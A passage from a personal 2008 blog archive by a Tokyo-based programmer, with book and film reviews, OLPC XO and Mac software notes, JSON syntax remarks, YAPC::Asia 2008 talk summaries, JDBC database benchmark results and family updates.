Rozp+bAFq6jF5YYOrMRYU/eSc0ABZqRydoufeD8JSvU5CNYW9xE2RhwnUhXPiuL4
4Qp6v73ePmI3nkq2nVRfBym77QQ6GB1Dfsetc20JiE8EGBECAA8FAkhtwQACGwwF
CQPCZwAACgkQ2OZWDeB+PHWg8wCfb9ppOAIsCwe5zcKK2nl7P6H5v+8AoIMP74NP
wwFXSu3SGVRLUnUtq37m
=r7dz

Thanks,

Thilo
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.8 (Darwin)

iEYEARECAAYFAkhtxuwACgkQ2OZWDeB+PHWrmgCcCDoWQN5PsSESt3roIV7lSQzi
D9YAn2s9rLw7q1TWjIFejdFL71KZsZ70
=O8Vg
-----END PGP SIGNATURE-----
download public key
Thu, 03 Jul 2008

Increased Security Is Being Implemented

For years now, the Tokyo trains and subway stations have been advertising that the police are now on high alert, that increased security is being implemented and that any suspicious persons, objects or activities are to be reported immediately. Thanks to the upcoming G8 summit in Japan, they are currently putting some extra effort into it, such as shutting down all coin lockers in subway stations.

Sat, 28 Jun 2008

H. P. Lovecraft: The Call of Cthulhu

The most merciful thing in the world, I think, is the inability of the human mind to correlate all its contents. We live on a placid island of ignorance in the midst of black seas of infinity, and it was not meant that we should voyage far. The sciences, each straining in its own direction, have hitherto harmed us little; but some day the piecing together of dissociated knowledge will open up such terrifying vistas of reality, and of our frightful position therein, that we shall either go mad from the revelation or flee from the deadly light into the peace and safety of a new dark age.

One of the best-known horror short stories, The Call of Cthulhu is presented in documentary style, as a series of notes found among the papers of the late Francis Wayland Thurston, of Boston. Mr. Thurston himself has been pulled into the mystery by stumbling upon notes left behind by his late grand-uncle, who in turn had been piecing together reports about outlandish rituals and outbreaks of mania, as they happened around the world, while still strangely connected to each other.

Wed, 25 Jun 2008

凯 爱德华

凯 [kai]
triumphant; victorious ...
爱德华
Edward ...
爱 [ai]
love; affection; to treasure ...
德 [de]
virtue; kindness; heart; mind ...
德国 [de guo]
Germany ...
华 [hua]
China; magnificent ...
Tue, 24 Jun 2008

Fluid

For the last few months, I have been using Mozilla Prism to read my (Google) mail. Prism turns web pages into standalone applications so that I do not have to log in to my Google account with my main web browser.

Today I switched to Fluid, which is a Mac-only (Leopard-only, in fact) application that does the same thing, but is more polished than Prism. For one thing, it is more tightly integrated with the Mac: The GMail application it creates is a real standalone native application (works better in the Dock than GMail Prism, which was only a document), it uses Growl notifications and software auto-update, there is a full screen mode, and it can also create MenuExtras (so that you could get the latest slashdot articles in a pulldown next to the battery life indicator). It is based on WebKit rather than Gecko, has a lot of preference panels, and you can write extensions using Greasemonkey-compatible JavaScript or Objective-C. I also had a weird performance issue with GTalk in GMail in Prism (typing into the chat window was painfully slow), that I expect to be gone now.

Update: One problem with using Fluid is that apparently all WebKit applications share the same browser cookie storage (and there seems to be no way to turn that off). This makes it currently impossible to keep login information separate from Safari, and between Fluid applications. Fortunately, I do not use Safari, and Camino and Firefox of course have their own cookie jars. On the other hand, a lot of applications embed WebKit these days, and I am not at all comfortable with the notion that they all potentially leak state and clobber themselves.

Sat, 21 Jun 2008

Cory Doctorow: Little Brother

Marcus is a high school student in San Francisco. He is smart and tech-savvy enough to outwit his school's surveillance systems (keystroke loggers on the classroom laptops, RFID on library books, gait recognition cameras), so that he can chat and surf during classes and leave the school grounds unnoticed. Then terrorists blow up the Bay Bridge and the Department of Homeland Security takes over control of the city, implementing all kinds of security measures. Marcus' attitude towards authority, combined with his technical skills, do not go over well with the DHS and they give him a hard time, which motivates him to put his energy to sabotaging the war on terror, trying to show the insanity and futility of that campaign, while putting him and his friends at a much greater personal risk than he could ever have imagined.

Needless to say, this is a very political book, trying to raise awareness about how Western democracies are quickly turning into police states. It is also spiked with interesting technology pieces, all of which seem much more science than fiction, most of which are probably already in place. In fact, reading it alongside with real news articles is more than a bit scary.

Tue, 17 Jun 2008

Kai Eduard Planz

It's a boy!

Mon, 16 Jun 2008

Many Books

I have written about my troubles with using the XO as a book reader before, and while nothing much has changed software-wise, the recent success of Amazon's Kindle and Apple's iPhone, both of which make excellent readers, has revived the eBook business and some of the new content is accessible on the XO as well.

There are basically three big sources for eBooks: Project Gutenberg, Creative Commons, and commercial publishers. Project Gutenberg is the largest collection of free eBooks, which it creates from works that are (under US copyright law) in the public domain. Because copyright law has repeatedly been changed to automatically extend copyright protection, very few works published after 1923 are in the public domain, which is a big issue for music and movies, but fortunately does not affect a large bulk of world literature. The Creative Commons are a family of copyright licenses that are less restrictive than traditional publication licenses. It particular, they allow for redistribution and derivative works. Finally, there are commercial eBook publishers, such as Amazon, but they usually require copy-protection software that allow the book to be read only on specific devices (and not the XO-1).

A nice collection of freely downloadable books is ManyBooks.net (which is apparently being run by one guy and served off his Mac mini.) ManyBooks republishes Project Gutenberg texts, together with public domain or creative commons works from other sources. All the books are available in a number of different formats, so that you can choose the one that best works on your reader.

iPhone PDF looks great on the XO-1. Now I only wished that the Reader application could remember what page I last stopped reading. That it does not do that is especially weird considering that the Journal shows a thumbnail image of that page. Thankfully the PDF starts out with a chapter index of clickable links.

Sun, 15 Jun 2008

Welcome to the new machine!

If you can read this, the move to the new server worked. If anything seems to be not working properly, please let me know.

The new machine is a not a real piece of hardware, but a virtual server, the main benefits being that it is cheaper, and easier to backup or transport. It also helps save resources by avoiding unused capacities that would still consume electricity and rack space. The drawback is that it has to share CPU and memory with other virtual servers, but considering that the hardware it is replacing was five years old, there is probably still a net power gain. Only disk space is a little slim now (ten gigabytes instead of thirty-two).

Sat, 14 Jun 2008

Indiana Jones and the Kingdom of the Crystal Skull

Movie poster

After Obi-Wan Kenobi, Rocky Balbao, John McClane, John Rambo, and Ellen Ripley it is Dr. Henry Jones, Jr.'s turn to bring an iconic movie trilogy and his aged self back to the silver screen. The film is getting a lot of harsh criticism from die-hard fans, who are always quick to compare it to the widely reviled Star Wars prequels and blame George Lucas for the use of CGI, for the presence of aliens, for unrealistic action sequences, and a silly plot. But I think Indy is doing okay, and also keeping to the style of the series. The biggest difference between Kingdom and the earlier films may not be Soviets instead of Nazis, or extraterrestrial instead of religious artefacts, but the fact that, just like Indy himself, his original audience is twenty years older now.

7 points

Sun, 08 Jun 2008

Mostly flat lines

Thilo Composition Chart

Now, there is an uninspiring chart. Maybe I need to tweak the scales a little. Strictly speaking, though, I am at my fattest in recorded history.

Sun, 01 Jun 2008

William Gibson & Bruce Sterling: The Difference Engine

Gibson and Sterling collaborate to create an alternate nineteenth century, where Babbage's Analytical Engine has actually been built and the Information Revolution coincides with (and propels) the Industrial Revolution. Power in Victorian England has been seized by the Industrial Radical Party, with hereditary lords and Luddites alike being pushed to the sidelines.

The book is a mostly atmospheric piece with several vignettes (translation: it is a bit in want of a coherent story), that detail episodes in the lives of Londoners at the time: A prostitute who gets caught up in political spheres, a palaeontologist who stumbles upon a stack of Engine cards and into a violent riot, and a diplomat/spy who is plagued by visions of an all-seeing Eye.

In spite of the shift from cyberpunk to steampunk, the genre's typical topics are all to be found: The subculture of the tech-savvy clackers that know how to program the steam-powered Engines (using punch-cards), the dystopian view of the ever-watchful, data-gathering surveillance state, the mysterious and dangerous artefact that serves to drive the story (in this case a stack of cards created by the Queen of Engines, Ada Lovelace), even the fascination with Japan (which here has just opened itself to the world and is about to have its own Industrial Revolution).

Fri, 30 May 2008

JSON

JSON, which stands for JavaScript Object Notation is a lightweight data-interchange format. Lightweight means that the standard is very concise, there is not too much overhead (boilerplate) in the data files, and the format is easy to read and write for both humans and machines. It is generally used as a replacement for XML (which kind of fails on all three counts), and has gained popularity with the advent of Web 2.0 and AJAX (even though the X in AJAX stands for XML).

I have so far been using JSON only informally to pass data around in JavaScript applications, but when starting to work with JSON in Java (using proper codec libraries), I found out that unfortunately quite a bit of the syntactic sugar for object literals in JavaScript has been removed from JSON, ostensibly to make it even easier to write parsers, but at the expense of convenience for human authors. The following is valid JavaScript, but not valid JSON:

{   a :  1,  /* set a to 1*/
    b : 'two'
}
  • no barewords allowed for keys
  • string literals have to be double-quoted
  • no comments allowed

If you want to write valid JSON, you have to say

{
    "a" : 1,
    "b" : "two" 
}

This does not make the format all that much easier to hand-write than XML anymore (although there are still less keystrokes involved), and it is also confusing for JavaScript coders, who are bound to create a lot of pseudo-JSON that works just fine within the realm of JavaScript. Maybe I should take another look at YAML.

PS: I would really want to also be able to write the trailing comma like I do in Perl or Java, which is not valid in JavaScript either, even though it works on Firefox (but only there):

{   a :  1,  /* set a to 1*/
    b : 'two',  // trailing comma makes it easier to add or re-arrange lines
}
Sat, 24 May 2008

The Chronicles of Narnia: Prince Caspian

Movie poster

After a year back in London, the four teenage heroes of the first Narnia movie (and book) are thrust back into their fantasy kingdom when Prince Caspian, on the run from his evil uncle, sounds a magic horn. During their absence of more than a thousand years, Narnia has been overrun by human invaders, the Talking Beasts driven into the wilderness and near extinction.

5 points

Tue, 20 May 2008

Full House

Cissy's parents arrived from Shanghai last weekend, and are going to stay with us for three months. And I still don't speak a word of Chinese ...

Sun, 18 May 2008

From X to O: Operating Systems

Due to a recent and very controversial decision, the XO will very soon be available with a choice of two operating systems: the Linux-based Sugar that was specifically developed for it, and Windows XP. This move will certainly cost the OLPC community dearly as far as the hearts and minds of the geek community are concerned, but if it helps to keep the OLPC project on track with its task to deliver low-cost laptops and quality education to children in need, it may be a good thing. One has to wonder, though, how this affects the overall concept of this venture (the previous focus on complete openness and hackability, as well as trying to break out of established business partnerships between poor countries and First World corporations come to mind), and how much different the XO is now from other ultra-portables, or second-hand regular computers.

The version of XP is apparently the same that is being offered on the Asus Eee, with Microsoft having spent some serious developer time to add support for various XO hardware features, such as the rotating screen. The innovative mesh networking, however will initially not be supported. The price of the machine will increase by ten dollars (3 dollars for Windows, 7 dollars for the extra memory that it needs).

The current operating system, which so far has failed to make too good a job of integrating with the device, will still be available as an option, probably also as a dual-boot solution. The Sugar developers have meanwhile set up Sugar Labs, with the stated goal of bringing Sugar to the next level of usability and utility, on or off the OLPC.

Myself, I am waiting for Update One of the OLPC software to bring much-needed power management improvements and iron out some of the minor annoyances I have been writing about.

Sat, 17 May 2008

YAPC::Asia 2008 Day Two

Toru Yamaguchi: OpenID 2.0
An introduction to OpenID, how it works, and how it can be used with Perl.
Yuval Kogman: Moose
An overview of Moose, the much-talked-about new approach to object-oriented programming in Perl. They stressed the point that Moose is not a toy or experimental, but very stable and being used in production. There are a few performance penalties to pay, but they are working on a compiler to reduce those.
Yoshinori Takesako: How to defend Apache/CGI against multi-byte XSS attacks
Poorly written or unmaintained web applications in combination with newly discovered scary browser vulnerabilities leave web site operators in a tough spot. Takesako-san introduced some Apache modules that can be installed as a workaround until the problem is being fixed. Kind of like a firewall, but instead of protecting your server from malicious access, it protects the browser from your malicious server.
Tatsuhiko Miyagawa: 20 modules I haven't yet talked about
Entertaining talk as Miyagawa-san goes through the back-catalogue of his extensive oeuvre. He actually cut it down to ten, because of timing constraints.
Lunch break
Good old university cafeteria food. Ample, tasty, and cheap. Taken open-air in the sun.
Ingy döt Net: Perl Love for Javascript Hackers
Ingy shows how to use Makefiles to make web pages, and how the much-maligned Template Toolkit can be used in JavaScript, too, using Jemplate.
Jesse Vincent: Everything but the secret sauce
Best Practical are open-sourcing all their tools (keeping only the secret sauce they use to hook them together), and Jesse showcased a number of them, including their Perl application packaging system Shipwright.
Faiz Kazi: From POE to Erlang
Faiz proposes that even though Perl now (ever since 5.8) has its own support for threads (which have not been met with much in the way of adoption), the best way to do concurrency in Perl remains the venerable and under-appreciated Perl Object Environment, which is based on actors passing messages (as opposed to threads sharing memory). Erlang is a language built upon that principle, and is said to scale phenomenally for concurrent applications, which may become more important as CPU speeds have stopped increasing as dramatically as they used to (to compensate, computers have more cores now).
Thu, 15 May 2008

YAPC::Asia 2008 Day One

For the third year in a row, the Shibuya Perl Mongers brought YAPC::Asia to Tokyo, this time on campus at the Tokyo Institute of Technology, which I hereby proclaim to be the best venue yet. Today's Day One was the second day actually, as there were also some additional talks yesterday (including one by co-worker-on-sabbatical Faiz), but I was tied up at work and could not go. Equally unfortunately, there is no T-shirt this year, and I could not get WiFi to work on the XO-1.

Larry Wall: A Standard That Is Meant To Be Broken.
A keynote that was a bit more on the technical side (they are usually more political or philosophical), in which $Larry talked about internals of the Perl6 parser he has been working over the last year. He stressed that there are not really any built-ins, and that the parser can be extended or otherwise modified at runtime to support all kinds of languages. And there is still a lot of dwimmery going on, such as the longest token matcher, which provides a sensible default behaviour when trying to parse a complex grammar.
Kang-min Liu: Continuous Testing.
A presentation of Test::Continuous, which polls your source directory for changed files, so that relevant tests can be run when you update them.
Lunch break
Another accidental lunch with Larry Wall (and his wife, and Faiz), at Matsuya.
Jose Castro: Perl Black Magic.
A very entertaining introduction to obfuscation and Perl Golf.
Ingy döt Net: JavaScript Love for Perl Hackers.
Ingy has ported the very popular jQuery to Perl, so that you can do web scraping with this powerful DOM query language. He also introduced his latest slideshow system Vroom, and proposed to use CPAN to distribute JavaScript libraries as well.
Leon Brocard: Working in the cloud.
Leon explained how his company is operating without any hardware himself, having outsourced everything to Amazon, Google and the like.
Jesse Vincent: Step 3 - Prophet.
In what was the most exciting talk for me, Jesse talked about Best Practical's experimental peer-to-peer replicated database. This fits in very nicely both with my recent musings about the future of databases, and my recent migration from Subversion to the distributed Mercurial source version control system, which works very similarly. The biggest challenge of these peer-to-peer systems is how to resolve conflicting updates.
Chia-liang Kao: Running A Perlish Small Business.
CL in his spare time runs AIINK, a small printing company, and explained how he quickly cobbled together the infrastructure for it with Perl.
Makoto Kuwata: The Fastest Template Engine in Perl World.
Yet another templating engine, but these things get incrementally better, and this one is pure Perl, very fast, feature-rich, and has an extremely clever (if you know Japanese) name: Tenjin - Template Engine.
Lightning Talks
More templating engines, YAPC financials, RSS readers, Perl6 signatures in sane Perl5, Japanese CPAN authors, from POE to Erlang (prologue), an OS written in Perl, web services, and crazy HTML hacks
Sun, 11 May 2008

Me wearing other people's glasses

Part thirteen: Cissy's new sunglasses.

Sat, 10 May 2008

Treasures of the Household

Part Seven: Delicate like a panda, the Golden Bear can only truly shine with European voltage.

Fri, 09 May 2008

Big One coming up?

Earthquakes are quite frequent in Japan, but now we had three tremor days in a row, which is a little unnerving.

And did I mention that Earth's rotational speed has increased recently, for unknown reasons nonetheless?

Tue, 06 May 2008

No Country for Old Men

Movie poster

Hunting for deer in the Texas desert, Llewellyn Moss (Josh Brolin) stumbles upon the bloody aftermath of a drug deal gone wrong, including a suitcase full of money, which he decides to keep for himself. Unfortunately, the Mexican bosses find out about him and send deranged killer Anton Chigurh (Javier Bardem) after him (strangest name since Keyser Soze, you say? Well, he is equally creepy, too). Ageing third-generation sheriff Ed Tom Bell (Tommy Lee Jones) can do little to stop the rampage that follows and starts seriously thinking about retirement.

This is the Coen Brothers back in Blood Simple mode. All the violence of Fargo, without any of the comedy pieces. And for some reason they refuse to give us a satisfying ending. The typical Hollywood movie would have seen Brolin and Jones overcoming Bardem in a big shootout at a motel (wrecking the place in the process). A darker version would have Bardem win. In either case, the whole movie (which is after all kind of a western) was building up towards that epic showdown. Well, does not happen. Or rather, does happen, but we don't get to see any of it. Is this the Coens telling us that violence does not pay, not even for movie-goers?

8 points

Sat, 03 May 2008

Leap Seconds

I was reading up about time zones on Wikipedia, when I came upon this chart showing the difference between UTC and the real time (mean solar time) over the last few years, and how leap seconds are introduced to keep UTC from diverging too far.

Apparently, there hase been a leap second about once a year until 1999, when the divergence rate slowed down and did not require adjustment until 2005. So I thought that they maybe tweaked the formula a little, but as it turns out for unknown reasons, Earth has sped up after year 2000, so the mean solar day has become 1 ms shorter and fewer leap seconds have been since then.

Should I be worried?

Sun, 27 Apr 2008

Atonement

Movie poster
A lavish country-side estate in England, 1935. Young Briony catches glimpses of the developing romance between her older sister Cecilia and the long-time family servant Robbie, which leaves her confused, frightened and angry. When her cousin Lola is assaulted at night, she thinks she saw Robbie do it and falsely accuses him. Based on Briony's testimony, Robbie is sent to prison. The story picks up four years later with Robbie as a soldier trying to get out of France (climaxing in an epic scene on the beach at Dunkirk) and return home to Cecilia, who, estranged from her family, has stood by him and now works as a nurse. Briony is also a nurse and tries to find a way to mend the damage she has done.

7 points

Sun, 20 Apr 2008

Cherie Dolce

Circle K sunkus wishes to offer you a unique and cozy store to put a smile on everyone's face. That wish has born a new concept Cherie Dolce. Its comfortable and warm atmosphere will smooth you and ease your mind anytime. We wish to begin a new style of c-store with this new concept Cherie Dolce. It would be a little bit comfortable c-store for you.
Sun, 13 Apr 2008

Andy Oram & Greg Wilson (Ed.): Beautiful Code

An O'Reilly book without the popular animal cover design that collects essays where leading programmers explain how they think and present examples of elegant solutions to hard problems.
Author Subject Programming Language
Brian Kernighan A regular expression matcher C
Karl Fogel An internal data structure of Subversion C
Jon Bentley Quicksort C
Tim Bray Web server log file analysis Ruby
Elliotte Rusty Harold XML verification Java
Michael Feathers The FIT Framework for Integrated Test Java
Alberto Savoia JUnit Java
Charles Petzold On-the-fly code generation C, C#, CLR Intermediate Language
Douglas Crockford Top-down-operator-precedence parsers JavaScript
Henry S. Warren, Jr. Counting the number of set bits in a word C and circuit diagrams
Ashish Gulhati Secure web-based email Perl
Lincoln Stein Data visualisation for bioinformatics Perl
Jim Kent A genome analyser web application C
Jack Dongarra and Piotr Luszczek Libraries to solve linear equations MATLAB, Fortran
Adam Kolawa The CERN mathematical library Fortran
Greg Kroah-Hartman Linux kernel drivers C
Diomidis Spinellis Layers of indirection in the FreeBSD filesystem drivers C
Andrew Kuchling Python's dictionary data structure C, Python
Travis E. Oliphant Multidimensional array iterators C, Python
Ronald Mak A highly reliable information portal for the NASA Mars Rover Mission Java
Rogerio Atem de Carvalho and Rafael Monnerat Enterprise Resource Planning Python
Bryan Cantrill Thread synchronisation and prioritisation in Solaris C
Jeffrey Dean and Sanjay Ghemawat Map-Reduce C++
Simon Peyton Jones Software Transactional Memory Haskell
R. Kent Dybvig Macro expansions Scheme
William R. Otte and Douglas C. Schmidt A networked logging service C++
Andrew Patzer REST (as opposed to SOAP) for integrating business partners Java
Andreas Zeller Systematic debugging Python
Yukihiro Matsumoto Brevity and human-readability Ruby
Arun Mehta A one-button user interface for Professor Hawking Visual Basic
T.V. Raman Emacspeak (auditory output from Emacs) Emacs Lisp
Laura Wingerd and Christopher Seiwald The Seven Pillars of Pretty Code C
Brian Hayes Computational Geometry Lisp

Thu, 10 Apr 2008

Are relational databases on the way out ?

For decades, the default choice when it comes to storing application data have been relational databases. Recently however, we see a lot of alternative approaches gaining widespread exposure (not sure about acceptance yet), especially as part of Web 2.0 platforms. Think Amazon's SimpleDB, Google's BigTables, or Apache CouchDB.

Cluster architecture: RDBMS have traditionally always been client-server oriented, meaning that you can have multiple clients access the same database concurrently over a network. This alone is an enormous improvement over file-based storage, and it is also useful for three-tier web application, as it allows to scale out the number of application servers. In order not to have the single database server as a bottleneck and single point of failure, you eventually will want to spread its functionality over a cluster of machines. This is a more advanced option that most RDBMS have added in one form or another, but it seems these new web databases were designed specifically to run on distributed nodes.

Schema-free: RDBMS rely on data schema definitions (tables with typed columns) and have great difficulties to handle unstructured documents. In particular, a relational system offers no way to query data other than by column value, and makes it very difficult to query data across tables. Again, most RDBMS now have non-relational extensions like XML query capabilities or full text search. In contrast, the newcomers appear to be very document-centric, where every document can have its own set of attributes. One could argue that a data schema is part of the data integrity validation that a database system should perform. On the other hand, most people seem happy with doing that in the application instead, and in any case, it seems like it should be an optional feature. One could also argue that a fixed schema makes for more efficient storage and access paths. In this case, the schema is seen more as a necessary evil, and one would be happy to give up on it if any performance problems can be avoided some other way.

Impedance mismatch: A big complication when using an RDBMS for storing application data is that everything has to be broken down and mapped to tables and columns using only the rather primitive (scalar) data types of the RDBMS. This gets complex very quickly, both conceptually and also in regards to how the resulting data will be stored, retrieved and queried. Multi-table joins are not easy to understand, and also not especially fast to execute.

Transactions: Probably the main selling point for an RDBMS is that they pass the famous ACID test: Atomicity (all or nothing: no incomplete updates), Consistency (the state of the database does not get corrupted at any time, even in the presence of crashes), Isolation (no one can see the results of a transaction before it is committed), Durability (no committed update can be lost). These properties are essential for many applications, but they come at a cost. In particular, they make it difficult to efficiently replicate or distribute the system. The newer non-relational databases tend to relax these constraints considerably, which makes them unusable when you really need a transactional database. But if you don't ...

Performance: One would assume that RDBMS with all their compacted and normalised storage schemes and their indices are the fastest way to go. And I guess that they do offer the fastest possible way to sort fifty million records, but how often do you really need to do that? Especially if sorting these fifty million records in the fastest possible fashion is still too slow for an interactive application, you start looking at alternative approaches such as an intelligent hierarchy of pre-computed aggregated data. In the RDBMS world this is called data warehousing. Once you get used to the idea that ad-hoc queries are impossible anyway, and that anticipated queries can be satisfied using clever indexing (that may not even need to be completely up-to-date), the performance benefits of operations that you can avoid become less important.

So, in summary, I think that these new databases are obviously not able to replace an RDBMS in its traditional field of operation (record processing where consistent read and writes, transaction isolation, and atomic updates are critical), but they may very well take a sizable chunk of the huge market where RDBMS are currently being used solely because there have been no other choices. There may be no need for an RDBMS in the usual web application stack after all.

Mon, 07 Apr 2008

Hemorrhoid Pictures

Confusing gmail ad of the month. Usually, those targeted ads are actually really close to the contents of the mail thread that they are displayed for. But I really cannot see how big bad hemorrhoids (I am not giving you a link here, and I am certainly not going to click on it myself, being in the middle of dinner and all) are related to the following conversation...

-------------
sakura pictures
 
   :-)
   attached: IMGA0110.JPG IMGA0112.JPG
   
-------------
Thanks Thilo,

And here is the video of the S. Carolina beauty contestant:
http://youtube.com/watch?v=WALIARHHLII

Sun, 06 Apr 2008

Deutsches Dorf Tokyo

Just like the New Tokyo International Airport, and Tokyo Disney Land (and Sea), the Country Farm Tokyo German Village is not really in Tokyo, but in the neighbouring prefecture of Chiba, where things are less crammed and there is more space for roomy ventures like, well, an international airport or a theme park. The German Village is mostly a big park (in the traditional sense, with meadows and flowers, and ponds) which is intended to bring a healthy breath of country-side lifestyle to stressed big city families. It is only mildly interested in trying to recreate Germany (or Bavaria): You do get beer tent background music, imported sausages, beer, Maus and Diddl goods, and Haribo, but there are also completely generic attractions like golf courses, a petting zoo, a pizza restaurant, a video game arcade, a Ferris wheel, and decidedly un-German foodstuff, such as dried jellyfish and other local (as in Chiba) snacks.

Sat, 05 Apr 2008

Philip Pullman: His Dark Materials

I quite enjoyed the Golden Compass movie and immediately ordered this boxed set of Lyra's adventures (the Golden Compass, the Subtle Knife, and the Amber Spyglass) from Amazon. It is being marketed as a Young Adult book, probably as a result of the main characters all being teenagers, but it certainly tackles more serious topics than, say, Harry Potter, and there are also a number of rather shocking plot developments.

When the Catholic League called for a boycott of the Golden Compass movie, they said it was less about the picture, but more about keeping children away from the books. And indeed, Pullman is quite aggressive in his attack on the concept of organised religion, to the point where one has to wonder if he is actively trying to offend.

Hardcore fans of the novels also disparaged the movie for watering down the controversial content to make it more commercially viable. I do not think that this actually happened, and the religious themes are not all that prominent until the later volumes anyway, but the movie does deviate from the source material in other ways, most notably in that it cuts off the ending (an anti-Happy-Ending if there ever was one) and reverses the order of the two main events before that. Apparently Pullman approved of these changes, though.

Sun, 23 Mar 2008

Treasures of the Household

Part Six: Finally, a dish washer!

Fri, 21 Mar 2008

The Darjeeling Limited

Movie poster

Three rich and estranged American brothers (and their eleven suitcases, the printer, and the laminating machine) on a train voyage across India to find their mother (turned nun in the Himalayan foothills) and renew the family bond.

Wes Anderson's latest oeuvre is, well, a Wes Anderson film. The focus is clearly on quirky character flaws, oddball dialogue, surreal situations, meticulous attention to detail, the retro soundtrack, and the colour schemes, and Anderson fans will be able to enjoy that. You even get a short Bill Murray cameo to round off the cast of usual suspects (Owen Wilson, Jason Schwartzmann, Anjelica Huston). But if you were looking for plot lines, character development, or a message, you might end up disappointed. Or offended that the India depicted is a collection of stereotypes and spoiled Western boys' dreams and serves as no more than exotic backdrop. Or annoyed that for all of the pretentiousness (especially with the opening short film), there is not much substance to it.

7 points

Wed, 19 Mar 2008

Disney Mobile

Japan has a new mobile phone service provider: Disney Mobile launched at the beginning of this month. They are a virtual network operator using Softbank's infrastructure (and also collaborate with Softbank in other ways, such as marketing, there are posters all over the place now). There used to be a Disney Mobile in America, but they failed and folded last year. In Japan they target women in their twenties and thirties rather than families with children in the US. This could actually work, Disney's various franchises are very popular in that demographic and they can also draw on an existing base of three million subscribers to their mobile content offerings (ring tones and such).

There have also been rumors that if the iPhone gets introduced in Japan, it would be on Disney Mobile. Unless this is going to be a non-exclusive deal, I do not think that this is a good match, seeing how Disney only targets a very specific market, and how both of these strong brands would probably not like to share the limelight with the other one. On the other, Steve Jobs is the biggest individual shareholder in Disney...

In any case, au sent me (completely unsolicited and for free) another three months' worth of pre-paid calling cards, so I am good until November now.

Sat, 15 Mar 2008

Eldritch Horror in the Great War

Wed, 12 Mar 2008

More JDBC Microbenchmarks

Now that I managed to log in to my OTN account, here are the results of Saturday's test suite for Oracle XE on Windows XP:

run0[ms]run1[ms]run2[ms]run3[ms]updates/sec

Oracle

A3490338233393402296

B1578147814441452686

C1272125312411474756

D6606606576591518

E4745434123256

  • With Oracle, using prepared statements makes a lot of difference, going from interpolated variables to bind variables more than doubles the throughput, and reusing the same statement adds another ten percent. This is good news in more than one way, because that first part (low-hanging fruits for a programmer) brings such a big gain that you can argue against the need for the extra few percent fro the second improvement, which is trickier to implement in a general fashion (although you could turn on statement-caching in the driver, I need to try to measure that some time).
  • Using the batch-update interface when applicable gives a spectacular boost, in this case it is about 15 times faster. Further testing is needed to how this plays out with different batch sizes, specifically if there are upper and lower limits for when it makes sense to use the feature.
  • As for how much time it takes for getting a connection from the pool, it depends if you turn on the validation feature of the pool, which checks if the connection is still alive before giving it out. With validation turned off, there is basically no overhead, with validation it adds a few milliseconds every time you get a connection, in my case (I only tested this with Oracle, the times are not included in the charts) one to two ms.

After these measurements for a thousand updates, I also took timings for a different scenario:

  1. SELECT non-existing row
  2. INSERT the row
  3. SELECT again
  4. UPDATE the row
  5. SELECT again
  6. DELETE the row
  7. SELECT the now missing row again

This pattern was run in two variations (as shown above and without the selects) in two different implementations (using bind variables or not using them). Each of these four routines was run interleaved (ABCDABCD...) for a total of 101 times, with the first iteration results discarded, and the times it took for each iteration becomes the benchmark result. The connection was in auto-commit mode the whole time.

[ms/run]PostgresqlMySQLOracle

Insert, update, delete (no binds)4.8328.8

Insert, update, delete (binds)5.3325.3

Plus selects (no binds)9.93714.6

Plus selects (binds)10.3369

Again, we see prepared statements making a big difference on Oracle, not so much (even a slight slow-down?) on the open source databases, and that MySQL suffers because of the slow commits (of course, it should still be fast enough, that part is unlikely to become the bottleneck).

Potential follow-ups to this would be to properly profile the connection pool's validation feature, to include Hibernate into the mix and measure its overhead, to record the strain on the server, and to use multiple threads to see how bind variables affect scalability. But I promise that if I do that, I will not bore you with the results here on my blog (one thing that I do want to put here, though, are the results of running these two benchmarks on the same machines in Perl instead of Java).

Mon, 10 Mar 2008

Me wearing other people's glasses

Part twelve: Protective goggles in the hardware store.

Sat, 08 Mar 2008

JDBC Microbenchmark

What is the overhead of getting a fresh connection from the connection pool instead of passing the connection around? How much faster are repeated SQL statements when using a fixed query string with bind variables as opposed to directly interpolating the data into the query string? How much faster when re-using the same prepared statement? How much faster when using a batched update?

I ran a little benchmark.

  • A) 1000x [getConnection createStatement executeUpdate commit]
  • B) 1000x [getConnection prepareStatement executeUpdate commit]
  • C) getConnection prepareStatement 1000x [executeUpdate commit]
  • D) getConnection prepareStatement 1000x [executeUpdate] commit
  • E) getConnection prepareStatement 1000x [addBatch] executeBatch commit

I wanted to test Oracle XE on Ubuntu, but did not get either installed (the eMachine did not like the Ubuntu CD, and Oracle's web-site was unresponsive), so I went with Postgresql 8.3 and MySQL5(InnoDB) instead. The databases were running on Windows XP, both fresh installs using the default settings, accessed from the Java test program on a Mac mini via local ethernet network.

run0 [ms]run1 [ms]run2[ms]run3[ms]updates/sec

Postgresql

A2013194517551809545

B2088179118751731556

C1667172916581714588

D1213119811791169846

E7697807677661297

MySQL

A9479937992999479107

B9382935792649274108

C9314937193949222107

D6326176746411553

E6506506136341581

  • Commits against MySQL are amazingly slow. I assume that this is a problem with my setup, or with Windows. This also probably only affects the transactional InnoDB backend.
  • With MySQL, there is no speed difference between methods A, B, and C, and hence no visible performance advantage to prepared statements. Maybe the JDBC driver does not implement the feature. With Postgresql it seems to improve throughput, but not by much. The Oracle figures should be interesting here.
  • Committing only once instead of separately after every update makes a big difference, especially with MySQL (see above). Of course, performance considerations should not be a factor in deciding what a transaction is.
  • Bulk updates give another big boost to Postgresql, not so much to MySQL.
Wed, 05 Mar 2008

From X to O: Price

The XO-1 was supposed to be the $100 Laptop, but unfortunately went over budget and in its current version costs $188. The OLPC project hopes that an increased output combined with price drops in its off-the-shelf components will bring production costs down enough to reach $100 by the end of this year. Considering that OLPC mainly targets the world's poorest countries, and that for example Intel sells more conventional computers (together with Windows licenses, training, and support) starting for less than $300 in these markets, the price tag could easily become the decisive factor for OLPC's success, regardless of the educational and social concepts that they also have to offer.

Sun, 02 Mar 2008

The Golden Compass

Movie poster

Whether the adaptation of Philip Pullman's fantasy novels will become the trilogy it is clearly intended to be will depend on the financial success of this first part. Box office results in North America have been disappointing, probably because the Catholic League called for a boycott, but overseas performance has been solid. It seems to be up to Japan now.

7 points (ahead of Narnia, slightly ahead of Potter).

Sat, 01 Mar 2008

AVCHD

We have a video camera (Panasonic HDC-SD5) shooting in Full HD resolution, which is more of a down payment towards a future home entertainment system than anything we can really use right now (nothing in the house can play back at a 1920x1080 resolution). So for now I am just left with these huge files that take up lots of disk space to store and ages of CPU cycles to process.

